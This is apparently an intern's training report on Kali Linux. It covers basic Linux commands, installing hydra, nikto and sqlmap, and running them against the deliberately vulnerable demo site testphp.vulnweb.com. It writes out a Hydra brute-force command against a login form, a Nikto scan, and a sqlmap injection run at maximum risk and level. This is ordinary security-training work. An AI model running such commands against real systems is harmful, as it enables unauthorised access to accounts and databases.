**Internship Task Report: Kali Linux Hands-On**

**Intern Name:** Kamala Majila  
**Date:** June 20, 2025  
**Task:** Practice Linux commands, install Kali tools, and perform attacks on <http://testphp.vulnweb.com/>

**1. Practicing Linux Commands**

I began by practicing essential Linux commands to navigate and manage the system.  
Commands used included:

* cd, ls, pwd for directory navigation
* cat, nano for viewing and editing files
* cp, mv, rm for file management
* chmod, chown for permissions
* ifconfig, ping, netstat for networking
* ps, top for process management

**Outcome:**  
I am comfortable with basic and advanced Linux command-line operations.

**2. Installing Kali Linux Tools**

**a. Using apt:**

I installed tools using the package manager:

bash

sudo apt update

sudo apt install hydra nikto sqlmap

**b. Installing from GitHub:**

I cloned a tool from GitHub as practice:

bash

git clone https://github.com/sqlmapproject/sqlmap.git

cd sqlmap

python3 sqlmap.py --help

**Outcome:**  
I successfully installed and ran Kali Linux tools both via apt and GitHub.

**3. Performing Attacks on**<http://testphp.vulnweb.com/>

**a. Brute-Force Attack with Hydra**

**Command Used:**

bash

hydra -l admin -P /usr/share/wordlists/rockyou.txt testphp.vulnweb.com http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

**Initial Issue:**  
Received error: File for passwords not found: /usr/share/wordlists/rockyou.txt

**Resolution:**  
Extracted the wordlist using:

bash

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

Reran the Hydra command successfully.

**Result:**  
Hydra attempted to brute-force the login page using the provided wordlist.

**b. Vulnerability Scanning with Nikto**

**Command Used:**

bash

nikto -h http://testphp.vulnweb.com/

**Result:**  
Nikto identified multiple vulnerabilities, including possible SQL injection points and outdated server software.

**c. SQL Injection Testing with SQLMap**

**Command Used:**

bash

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch --risk=3 --level=5

**Result:**  
SQLMap detected SQL injection vulnerabilities and was able to enumerate database information.

**4. Documentation and Learning**

* Documented all commands used and their outputs.
* Took screenshots of successful tool executions and scan results.
* Summarized findings for each tool.

**5. Conclusion and Learning Outcomes**

* Gained hands-on experience with Linux command-line operations.
* Successfully installed and used penetration testing tools on Kali Linux.
* Identified and exploited vulnerabilities on a deliberately vulnerable web application.
* Understood the importance of proper documentation in cybersecurity testing.

**Prepared by:**  
Kamala Majila  
[Cyber Security Intern/FutureIntern]  
20.06.2025